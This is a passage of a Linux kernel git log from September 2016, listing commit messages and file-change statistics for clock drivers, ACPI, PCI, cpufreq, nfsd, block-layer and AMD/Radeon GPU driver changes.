drivers/clk/uniphier/clk-uniphier.h | 13 ++ 7 files changed, 550 insertions(+) commit 734d82f4a678e897a3197b3e61313e32c9e77f46 Author: Masahiro Yamada Date: Fri Sep 16 16:40:03 2016 +0900 clk: uniphier: add core support code for UniPhier clock driver This includes UniPhier clock driver code, except SoC-specific data arrays. Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd MAINTAINERS | 1 + drivers/clk/Kconfig | 1 + drivers/clk/Makefile | 1 + drivers/clk/uniphier/Kconfig | 9 ++ drivers/clk/uniphier/Makefile | 5 + drivers/clk/uniphier/clk-uniphier-core.c | 123 +++++++++++++++++++++++ drivers/clk/uniphier/clk-uniphier-fixed-factor.c | 48 +++++++++ drivers/clk/uniphier/clk-uniphier-fixed-rate.c | 47 +++++++++ drivers/clk/uniphier/clk-uniphier-gate.c | 97 ++++++++++++++++++ drivers/clk/uniphier/clk-uniphier-mux.c | 95 +++++++++++++++++ drivers/clk/uniphier/clk-uniphier.h | 109 ++++++++++++++++++++ 11 files changed, 536 insertions(+) commit bd8dd593f7d2211f2273e05741d157b0c8d020ae Author: Rafał Miłecki Date: Tue Sep 13 09:06:04 2016 +0200 clk: bcm: Add driver for BCM53573 ILP clock This clock is present on BCM53573 devices (including BCM47189) that use Cortex-A7. ILP is a part of PMU (Power Management Unit) multi-function device so we use syscon (and regmap) for it. Signed-off-by: Rafał Miłecki Acked-by: Rob Herring [sboyd@codeaurora.org: Remove 0 from clk_init_data to silence sparse] Signed-off-by: Stephen Boyd .../bindings/clock/brcm,bcm53573-ilp.txt | 36 +++++ drivers/clk/bcm/Makefile | 1 + drivers/clk/bcm/clk-bcm53573-ilp.c | 148 +++++++++++++++++++++ 3 files changed, 185 insertions(+) commit dc19b6f5be5b6f82548981adc1c5019b7a82d7c7 Author: Vivek Gautam Date: Thu Sep 15 10:15:33 2016 +0530 clk: Add USB3 PHY reset lines Adding missing reset lines for USB 3.0 PHY. Signed-off-by: Vivek Gautam Signed-off-by: Stephen Boyd drivers/clk/qcom/gcc-msm8996.c | 2 ++ include/dt-bindings/clock/qcom,gcc-msm8996.h | 2 ++ 2 files changed, 4 insertions(+) commit f00d2db7c4739af8a2496273175e0939e1047813 Author: Arnd Bergmann Date: Thu Sep 15 17:45:57 2016 +0200 clk: zx: fix pointer case warnings The zx296718 clock driver has a creative way of assigning the register values for each clock, by initializing an __iomem pointer to an offset and then later adding the base (from ioremap) on top with a cast to u64. This fail on all 32-bit architectures during compile testing: drivers/clk/zte/clk-zx296718.c: In function 'top_clocks_init': drivers/clk/zte/clk-zx296718.c:554:35: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] zx296718_pll_clk[i].reg_base += (u64)reg_base; drivers/clk/zte/clk-zx296718.c:579:29: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] drivers/clk/zte/clk-zx296718.c:592:31: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] It would be nice to avoid all the casts, but I decided to simply shut up the warnings by changing the type from u64 to uintptr_t, which does the right thing in practice. Signed-off-by: Arnd Bergmann Fixes: ca0233285a93 ("clk: zx: register ZX296718 clocks") Signed-off-by: Stephen Boyd drivers/clk/zte/clk-zx296718.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit a252d881c5585f5a25d4beeca23806b4fea116eb Author: Mika Westerberg Date: Thu Sep 15 11:07:04 2016 +0300 ACPI / platform: Pay attention to parent device's resources Given following simplified device hierarchy: // PCI device having BAR0 (RMEM) split between 4 GPIO devices. Device (P2S) { Name (_ADR, 0x000d0000) Device (GPO0) { Name (_HID, "INT3452") Name (_UID, 1) Name (_CRS, ResourceTemplate () { Memory32Fixed (ReadWrite, 0, 0x4000, RMEM + 0x0000) }) } Device (GPO1) { Name (_HID, "INT3452") Name (_UID, 2) Name (_CRS, ResourceTemplate () { Memory32Fixed (ReadWrite, 0, 0x4000, RMEM + 0x4000) }) } Device (GPO2) { Name (_HID, "INT3452") Name (_UID, 3) Name (_CRS, ResourceTemplate () { Memory32Fixed (ReadWrite, 0, 0x4000, RMEM + 0x8000) }) } Device (GPO3) { Name (_HID, "INT3452") Name (_UID, 4) Name (_CRS, ResourceTemplate () { Memory32Fixed (ReadWrite, 0, 0x4000, RMEM + 0xc000) }) } } The current ACPI platform enumeration code allocates resources from the global MMIO resource pool (/proc/iomem) for all the four GPIO devices. After this PCI core calls pcibios_resource_survey() to allocate resources for all PCI devices including the parent device for these GPIO devices (P2S). Since that resource range has already been reserved the allocation fails. The reason for this is that we never bother with parent device's resources when ACPI platform devices are created. Fix this by checking whether there is a parent device and in that case make sure we assign correct parent resource to the resources for the child ACPI platform device. Currently we only deal with parent devices if they are PCI devices but we may expand this later to cover other bus types as well. Reported-by: Aaron Durbin Signed-off-by: Mika Westerberg Signed-off-by: Rafael J. Wysocki drivers/acpi/acpi_platform.c | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) commit afd29f9017a271fb048b69275975c5451fd0e674 Author: Mika Westerberg Date: Thu Sep 15 11:07:03 2016 +0300 PCI: Add pci_find_resource() Add a new helper function pci_find_resource() that can be used to find out whether a given resource (for example from a child device) is contained within given PCI device's standard resources. Signed-off-by: Mika Westerberg Acked-by: Bjorn Helgaas Signed-off-by: Rafael J. Wysocki drivers/pci/pci.c | 24 ++++++++++++++++++++++++ include/linux/pci.h | 4 ++++ 2 files changed, 28 insertions(+) commit b59c4b3dcd2e63d7a5483df3460d47278df716f7 Author: Hoan Tran Date: Wed Sep 14 10:54:58 2016 -0700 ACPI / CPPC: Support PCC with interrupt flag For PCC mailbox with interrupt flag, CPPC should call mbox_chan_txdone() function to notify the mailbox framework about TX completion. Signed-off-by: Hoan Tran Reviewed-by: Prashanth Prakash Signed-off-by: Rafael J. Wysocki drivers/acpi/cppc_acpi.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0637a4c7810a6b09ec6b1bf3dc88830cb64ce08b Author: Markus Elfring Date: Wed Sep 14 21:10:47 2016 +0200 clk/Renesas-MSTP: Use kmalloc_array() in cpg_mstp_clocks_init() A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Reviewed-by: Geert Uytterhoeven Signed-off-by: Stephen Boyd drivers/clk/renesas/clk-mstp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 914c619409ea509f335add941ad515fb590ee6c5 Author: Lv Zheng Date: Tue Sep 13 17:48:34 2016 +0800 ACPI / sysfs: Update sysfs signature handling code This patch cleans up sysfs table signature handling code: 1. Convert the signature handling code to use the ACPICA APIs to benefit from the future improvements of the APIs. 2. Add 'filename' attribute in order to handle both BE/LE name tags. 3. Add instance check in order to avoid the possible buffer overflow related to the table file name. Signed-off-by: Lv Zheng [ rjw: Changelog ] Signed-off-by: Rafael J. Wysocki drivers/acpi/sysfs.c | 62 ++++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 29 deletions(-) commit 307ecb0aa3a24528efd1cfcea8215b2d82df6e10 Author: Lv Zheng Date: Tue Sep 13 17:48:27 2016 +0800 ACPI / sysfs: Fix an issue for LoadTable opcode OEM tables can be installed via RSDT/XSDT, in this case, they have already been created under /sys/firmware/acpi/tables. For this kind of tables, normally LoadTable opcode will be executed to load them. If LoadTable opcode is executed after acpi_sysfs_init(), acpi_sysfs_table_handler() will be invoked, thus a redundant table file will be created under /sys/firmware/acpi/tables/dynamic. Then running "acpidump" on such platform results in an error, complaining blank empty table (see Link 1 below). The bug can be reproduced by customizing an OEM1 table, allowing it to be overridden via 'table_sigs' (drivers/acpi/tables.c), adding the following code to the customized DSDT to load it: Name (OEMH, Zero) Name (OEMF, One) If (LEqual (OEMF, One)) { Store (LoadTable ("OEM1", "Intel", "Test"), OEMH) Store (Zero, OEMF) } In order to make sure that the OEM1 table is installed after acpi_sysfs_init(), acpi_sysfs_init() can be moved before invoking acpi_load_tables(). Then the following command execution result can be seen: # acpidump > acpidump.txt Could not read table header: /sysfs/firmware/acpi/tables/dynamic/OEM12 Could not get ACPI table at index 17, AE_BAD_HEADER Link: https://bugzilla.kernel.org/show_bug.cgi?id=150841 # [1] Link: https://github.com/acpica/acpica/commit/ed6a5fbc Reported-by: Jason Voelz Reported-by: Francisco Leoner Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki drivers/acpi/sysfs.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 237502055915b7bb6c04f4eafd85f3a4704771fb Merge: 18864cc 86ec64b Author: Rafael J. Wysocki Date: Sat Sep 17 01:08:27 2016 +0200 Merge branch 'acpica' into acpi-sysfs commit 86ec64bc382ad1e0e6bc66f5f705a53e299a3445 Author: Lv Zheng Date: Tue Sep 13 17:48:21 2016 +0800 ACPICA: Tables: Fix a regression in acpi_tb_find_table() In the following commit, the return value of acpi_tb_find_table() is incorrect: commit ac0f06ebb815dabe42f2b2886ee9f879a2170ce4 Author: Lv Zheng Date: Wed Sep 7 14:07:24 2016 +0800 ACPICA: Tables: Tune table mutex to be a leaf lock ACPICA commit f564d57c6501b97a2871f0b4c048e79910f71783 This causes LoadTable opcode to fail. Fix this mistake. Signed-off-by: Lv Zheng [ rjw: Changelog ] Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/tbfind.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit faabbe50ad518ce493adb20a9bf430daa9d395a4 Author: Wei Yongjun Date: Fri Sep 16 13:03:31 2016 +0000 clk: zx296718: use builtin_platform_driver to simplify the code Use the builtin_platform_driver() macro to make the code simpler. Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/zte/clk-zx296718.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 5254223a1216f120a84153dac1d0fde4da999a55 Author: Chen-Yu Tsai Date: Thu Sep 15 14:57:40 2016 +0800 clk: sunxi-ng: sun6i-a31: Fix register offset for mipi-csi clk The register offset for the mipi-csi clk is off by 4, a copy paste error from the mipi-dsi clk. Fixes: c6e6c96d8fa6 ("clk: sunxi-ng: Add A31/A31s clocks") Signed-off-by: Chen-Yu Tsai Acked-by: Maxime Ripard Signed-off-by: Stephen Boyd drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d613782cb5f2a40ef6e074dd1fa33d0abbe07c81 Author: Chen-Yu Tsai Date: Thu Sep 15 14:57:39 2016 +0800 clk: sunxi-ng: sun6i-a31: set CLK_SET_RATE_UNGATE for all PLLs The PLLs have a "lock" bit in their configuration registers which indicate if the PLL has locked on to the requested clock rate. We check this bit in the .set_rate op. The PLL cannot lock on if it's not running, which might be a false positive (warning). Set the CLK_SET_RATE_UNGATE flag for all PLLs so whenever clk_set_rate is called on them, they get enabled and the "lock" check is really checking the PLL. Fixes: c6e6c96d8fa6 ("clk: sunxi-ng: Add A31/A31s clocks") Signed-off-by: Chen-Yu Tsai Acked-by: Maxime Ripard Signed-off-by: Stephen Boyd drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit d832fdd9b2d685b8166f37c03d53b9872d77ed54 Author: Chen-Yu Tsai Date: Thu Sep 15 14:57:38 2016 +0800 clk: sunxi-ng: sun6i-a31: Set CLK_SET_RATE_PARENT for display output clocks The LCD controller and HDMI controller use the LCDx-CHy and HDMI clocks to generate their dot clocks. To be able to generate a full range of possible clock rates, the parent PLL clock rates should also be changed. Fixes: c6e6c96d8fa6 ("clk: sunxi-ng: Add A31/A31s clocks") Signed-off-by: Chen-Yu Tsai Acked-by: Maxime Ripard Signed-off-by: Stephen Boyd drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit ffcbed8418f8d850f27372d5f9b69aa05fd12217 Author: Wei Yongjun Date: Thu Sep 8 15:55:41 2016 +0000 ACPI / tables: Remove duplicated include from tables.c Remove duplicated include. Signed-off-by: Wei Yongjun Signed-off-by: Rafael J. Wysocki drivers/acpi/tables.c | 1 - 1 file changed, 1 deletion(-) commit cb80ec768a0db73743a6f8b5d94c0b52b97e3ca4 Author: Gabriel Fernandez Date: Mon Aug 29 14:26:58 2016 +0200 drivers: clk: st: Handle clk synchronous mode for video clocks This patch configures the semi-synchronous mode of the video clocks of clkgenD2. Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/st/st,flexgen.txt | 2 ++ drivers/clk/st/clk-flexgen.c | 37 ++++++++++++++++++++-- 2 files changed, 37 insertions(+), 2 deletions(-) commit 26bd0a57755df51a34037d8151a443cec3688b80 Author: Gabriel Fernandez Date: Mon Aug 29 14:26:57 2016 +0200 drivers: clk: st: Add clock propagation for audio clocks This patch allows fine tuning of the quads FS for audio clocks accuracy. Signed-off-by: Olivier Bideau Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/st/st,flexgen.txt | 2 ++ drivers/clk/st/clk-flexgen.c | 26 +++++++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) commit b699f3e3912f60119430e3af302a39eb992864d5 Author: Gabriel Fernandez Date: Mon Aug 29 14:26:56 2016 +0200 drivers: clk: st: Add fs660c32 synthesizer algorithm Use an algorithm instead of a table to compute clocks for fs660c32 synthesizer. During a video playback we need to adjust audio & video frequencies. A table can't cover all HDMI resolutions and audio adjustment. Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin Signed-off-by: Stephen Boyd drivers/clk/st/clkgen-fsyn.c | 180 ++++++++++++++++++++++++++----------------- 1 file changed, 111 insertions(+), 69 deletions(-) commit 880d54ff564181b4d9fff31f7f81807cf60cd85d Author: Gabriel Fernandez Date: Mon Aug 29 14:26:54 2016 +0200 drivers: clk: st: Simplify clock binding of STiH4xx platforms This patch reworks the clock binding to avoid too much detail in DT. Now we have only compatible string per type of clock (remark from Rob https://lkml.org/lkml/2016/5/25/492) Signed-off-by: Gabriel Fernandez Acked-by: Peter Griffin Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/st/st,clkgen-mux.txt | 2 +- .../devicetree/bindings/clock/st/st,clkgen-pll.txt | 11 ++-- .../devicetree/bindings/clock/st/st,clkgen.txt | 2 +- .../devicetree/bindings/clock/st/st,quadfs.txt | 6 +-- drivers/clk/st/clkgen-fsyn.c | 41 ++++++-------- drivers/clk/st/clkgen-mux.c | 28 ++++------ drivers/clk/st/clkgen-pll.c | 63 ++++++++++------------ 7 files changed, 65 insertions(+), 88 deletions(-) commit 7df404c9856deec4cea1538ef4786116e3fbf2e5 Author: Gabriel Fernandez Date: Mon Aug 29 14:26:53 2016 +0200 drivers: clk: st: Remove stih415-416 clock support STiH415 and STiH416 platforms are no longer used. these platforms will be deprecated for the next kernel. Signed-off-by: Gabriel Fernandez Acked-by: Rob Herring Acked-by: Peter Griffin Signed-off-by: Stephen Boyd .../bindings/clock/st/st,clkgen-divmux.txt | 49 -- .../devicetree/bindings/clock/st/st,clkgen-mux.txt | 18 +- .../devicetree/bindings/clock/st/st,clkgen-pll.txt | 26 +- .../bindings/clock/st/st,clkgen-prediv.txt | 36 - .../devicetree/bindings/clock/st/st,clkgen-vcc.txt | 61 -- .../devicetree/bindings/clock/st/st,clkgen.txt | 54 +- .../devicetree/bindings/clock/st/st,quadfs.txt | 27 +- drivers/clk/st/clkgen-fsyn.c | 260 -------- drivers/clk/st/clkgen-mux.c | 726 +-------------------- drivers/clk/st/clkgen-pll.c | 419 ------------ 10 files changed, 37 insertions(+), 1639 deletions(-) commit 4df27c91893fd13eaa30e9b0bca74f317816f428 Author: Arnd Bergmann Date: Thu Sep 15 17:38:38 2016 +0200 PM / OPP: avoid maybe-uninitialized warning When CONFIG_OPTIMIZE_INLINING is set and we are building with -Wmaybe-uninitialized enabled, we can get a warning for the opp core driver: drivers/base/power/opp/core.c: In function 'dev_pm_opp_set_rate': drivers/base/power/opp/core.c:560:8: warning: 'ou_volt_min' may be used uninitialized in this function [-Wmaybe-uninitialized] This has only now appeared as a result of commit 797da5598f3a ("PM / devfreq: Add COMPILE_TEST for build coverage"), which makes the driver visible in some configurations that didn't have it before. The warning is a false positive that I got with gcc-6.1.1, but there is a simple workaround in removing the local variables that we get warnings for (all three are affected depending on the configuration). This also makes the code easier to read. Signed-off-by: Arnd Bergmann Reviewed-by: Stephen Boyd Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/base/power/opp/core.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 609bed67bd8f72981faba75d80b3b48d746b7206 Author: Tomeu Vizoso Date: Thu Sep 15 14:05:23 2016 +0200 PM / Domains: Allow holes in genpd_data.domains array In platforms such as Rockchip's, the array of domains isn't always filled without holes, as which domains are present depend on the particular SoC revision. By allowing holes to be in the array, such SoCs can still use a single set of constants to index the array of power domains. Fixes: 0159ec670763 (PM / Domains: Verify the PM domain is present when adding a provider) Signed-off-by: Tomeu Vizoso Acked-by: Jon Hunter Acked-by: Ulf Hansson Reviewed-by: Heiko Stuebner Tested-by: Heiko Stuebner Acked-by: Kevin Hilman Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 4 ++++ 1 file changed, 4 insertions(+) commit f89f4147f76f91bfff6f32890fc34148178f144d Author: Hoan Tran Date: Wed Sep 14 16:08:28 2016 -0700 cpufreq: CPPC: Avoid overflow when calculating desired_perf This patch fixes overflow issue when calculating the desired_perf. Fixes: ad38677df44b (cpufreq: CPPC: Force reporting values in KHz to fix user space interface) Signed-off-by: Hoan Tran Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cppc_cpufreq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e01072d22d4e7f9ca966f848def22fe41eaef4de Author: Dave Gerlach Date: Wed Sep 14 15:41:37 2016 -0500 cpufreq: ti: Use generic platdev driver Now that the cpufreq-dt-platdev is used to create the cpufreq-dt platform device for all OMAP platforms and the platform code that did it before has been removed, add ti,am33xx and ti,dra7xx to the machine list in cpufreq-dt-platdev which had relied on the removed platform code to do this previously. Fixes: 7694ca6e1d6f (cpufreq: omap: Use generic platdev driver) Signed-off-by: Dave Gerlach Acked-by: Viresh Kumar Cc: 4.7+ # 4.7+ Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq-dt-platdev.c | 2 ++ 1 file changed, 2 insertions(+) commit 3ba7bcaa3657f5fe32295ebd17fbdaaf16608e2f Author: Srinivas Pandruvada Date: Tue Sep 13 17:41:33 2016 -0700 cpufreq: intel_pstate: Add io_boost trace Add io_boost percent to current pstate_sample tracepoint. Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 3 ++- include/trace/events/power.h | 13 +++++++++---- 2 files changed, 11 insertions(+), 5 deletions(-) commit 89dfdc964bb4b2112c2cd058412f49d9906c9d35 Author: Jeff Layton Date: Tue Aug 16 13:29:27 2016 -0400 nfsd: eliminate cb_minorversion field We already have that info in the client pointer. No need to pass around a copy. Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/nfs4callback.c | 7 +++---- fs/nfsd/state.h | 1 - 2 files changed, 3 insertions(+), 5 deletions(-) commit 1983a66f575bed05ef63a15193246758055c50b2 Author: Jeff Layton Date: Thu Aug 11 13:36:22 2016 -0400 nfsd: don't set a FL_LAYOUT lease for flexfiles layouts We currently can hit a deadlock (of sorts) when trying to use flexfiles layouts with XFS. XFS will call break_layout when something wants to write to the file. In the case of the (super-simple) flexfiles layout driver in knfsd, the MDS and DS are the same machine. The client can get a layout and then issue a v3 write to do its I/O. XFS will then call xfs_break_layouts, which will cause a CB_LAYOUTRECALL to be issued to the client. The client however can't return the layout until the v3 WRITE completes, but XFS won't allow the write to proceed until the layout is returned. Christoph says: XFS only cares about block-like layouts where the client has direct access to the file blocks. I'd need to look how to propagate the flag into break_layout, but in principle we don't need to do any recalls on truncate ever for file and flexfile layouts. If we're never going to recall the layout, then we don't even need to set the lease at all. Just skip doing so on flexfiles layouts by adding a new flag to struct nfsd4_layout_ops and skipping the lease setting and removal when that flag is true. Cc: Christoph Hellwig Signed-off-by: Jeff Layton Signed-off-by: J. Bruce Fields fs/nfsd/flexfilelayout.c | 1 + fs/nfsd/nfs4layouts.c | 6 +++++- fs/nfsd/pnfs.h | 1 + 3 files changed, 7 insertions(+), 1 deletion(-) commit 703fd1c0f177219e3a84e6c095c31dc566514d81 Author: Jens Axboe Date: Fri Sep 16 13:59:14 2016 -0600 blk-mq: account higher order dispatch We currently account a '0' dispatch, and anything above that still falls below the range set by BLK_MQ_MAX_DISPATCH_ORDER. If we dispatch more, we don't account it. Change the last bucket to be inclusive of anything above the range we track, and have the sysfs file reflect that by including a '+' in the output: $ cat /sys/block/nvme0n1/mq/0/dispatched 0 1006 1 20229 2 1 4 0 8 0 16 0 32+ 0 Signed-off-by: Jens Axboe Reviewed-by: Omar Sandoval block/blk-mq-sysfs.c | 8 +++++--- block/blk-mq.c | 13 +++++++++---- 2 files changed, 14 insertions(+), 7 deletions(-) commit af1f85ddecfa341e684db950c34a1813d36750db Author: Alexandre Courbot Date: Fri Sep 16 18:32:26 2016 +0900 drm/ttm: remove cpu_address member from ttm_tt Patch 3d50d4dcb0 exposed the CPU address of DMA-allocated pages as returned by dma_alloc_coherent because Nouveau on Tegra needed it. This is not required anymore - as there were no other users for it, remove it and save some memory for everyone. Reviewed-by: Christian König Signed-off-by: Alexandre Courbot Signed-off-by: Alex Deucher drivers/gpu/drm/ttm/ttm_page_alloc_dma.c | 2 -- drivers/gpu/drm/ttm/ttm_tt.c | 7 ++----- include/drm/ttm/ttm_bo_driver.h | 2 -- 3 files changed, 2 insertions(+), 9 deletions(-) commit 0aa3e2d0cbff4c42997d75f35bb660fd382544e6 Author: Baoyou Xie Date: Thu Sep 15 22:13:51 2016 +0800 drm/radeon/radeon_device: remove unused function We get 2 warnings when building kernel with W=1: drivers/gpu/drm/radeon/radeon_device.c:1961:5: warning: no previous prototype for 'radeon_debugfs_init' [-Wmissing-prototypes] drivers/gpu/drm/radeon/radeon_device.c:1966:6: warning: no previous prototype for 'radeon_debugfs_cleanup' [-Wmissing-prototypes] In fact, these functions are dummy, but can be removed, so this patch removes them. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_device.c | 11 ----------- drivers/gpu/drm/radeon/radeon_drv.c | 9 --------- 2 files changed, 20 deletions(-) commit 9f31a0b0328cb70b9ea1058579710fb1439ee332 Author: Baoyou Xie Date: Thu Sep 15 21:43:26 2016 +0800 drm/amdgpu: clean function declarations in amdgpu_ttm.c up We get 2 warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c:985:5: warning: no previous prototype for 'amdgpu_ttm_init' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c:1092:6: warning: no previous prototype for 'amdgpu_ttm_fini' [-Wmissing-prototypes] In fact, both functions are declared in drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c, but should be declared in a header file, thus can be recognized in other file. So this patch moves the declarations into drivers/gpu/drm/amd/amdgpu/amdgpu.h. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) commit 9a9db6ef7cf486f4849fe6bb8619009b5fd66399 Author: Alex Deucher Date: Fri Sep 16 11:02:34 2016 -0400 drm/amdgpu: use the new ring ib and dma frame size callbacks (v2) Use them to more accurately determine the ring size required for ib submission. v2: drop extra alignment Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ib.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 58fafbaf166673f1a5724b42360d6b35610727aa Author: Alex Deucher Date: Fri Sep 16 11:02:16 2016 -0400 drm/amdgpu/vce3: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit 9d6b7a6447e8f5905c94782d3bd4b88a33846918 Author: Alex Deucher Date: Fri Sep 16 11:01:52 2016 -0400 drm/amdgpu/vce2: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v2_0.c | 2 ++ 1 file changed, 2 insertions(+) commit a6f8d7286714363e615561e8aafdf78807fe079d Author: Alex Deucher Date: Fri Sep 16 11:01:26 2016 -0400 drm/amdgpu/vce: add common ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 12 ++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_vce.h | 2 ++ 2 files changed, 14 insertions(+) commit c3f5875888cc4a65f16eb2298a5b4ba3a39fb1a6 Author: Alex Deucher Date: Fri Sep 16 11:00:58 2016 -0400 drm/amdgpu/uvd6: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v6_0.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit cdbbb7846ce055c4e6ebf6c08560a6e9c8819ba9 Author: Alex Deucher Date: Fri Sep 16 11:00:42 2016 -0400 drm/amdgpu/uvd5: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v5_0.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 23f8f8006a5fd1ec2888a814d70064a84a0e4815 Author: Alex Deucher Date: Fri Sep 16 11:00:11 2016 -0400 drm/amdgpu/uvd4.2: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/uvd_v4_2.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 928d467448596228af2d4fe3f13251e4fa8de656 Author: Alex Deucher Date: Fri Sep 16 10:59:31 2016 -0400 drm/amdgpu/sdma3: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit fe7c0f26daa615e3cc4b817f657e86d6e75c261d Author: Alex Deucher Date: Fri Sep 16 10:59:12 2016 -0400 drm/amdgpu/sdma2.4: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/sdma_v2_4.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 77b52a5bc66916c34a443563f070e65449feb683 Author: Alex Deucher Date: Fri Sep 16 10:58:52 2016 -0400 drm/amdgpu/cik_sdma: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/cik_sdma.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 229e2d46da4f5ec7ca7845ccbbdf04bf445c048e Author: Alex Deucher Date: Fri Sep 16 10:58:12 2016 -0400 drm/amdgpu/si_dma: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dma.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 7512ad16b532eee288a85a55a41ebf7d0eb8080d Author: Alex Deucher Date: Fri Sep 16 10:57:39 2016 -0400 drm/amdgpu/gfx8: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 40 +++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit b04e26b3c7a74c8bf8f4a7568de1e7d69b1dbee2 Author: Alex Deucher Date: Fri Sep 16 10:57:20 2016 -0400 drm/amdgpu/gfx7: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 39 +++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit a851d0f4ca60416e0e969b5f752536bc28484823 Author: Alex Deucher Date: Fri Sep 16 10:56:33 2016 -0400 drm/amdgpu/gfx6: add ring callbacks for ib and dma frame size Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit b6384ff5375ad28763bc99558a1022070ca5954c Author: Alex Deucher Date: Fri Sep 16 10:55:50 2016 -0400 drm/amdgpu/ring: add an interface to get dma frame and ib size Used to properly calculate space on the ring for ib submissions. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 ++++ 1 file changed, 4 insertions(+) commit e75a887162073de9017d220abc12b6e99cfff0d7 Author: Alex Deucher Date: Thu Sep 15 16:30:01 2016 -0400 drm/amdgpu/sdma3: drop unused functions These are not used yet. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 ------------------------- 1 file changed, 25 deletions(-) commit 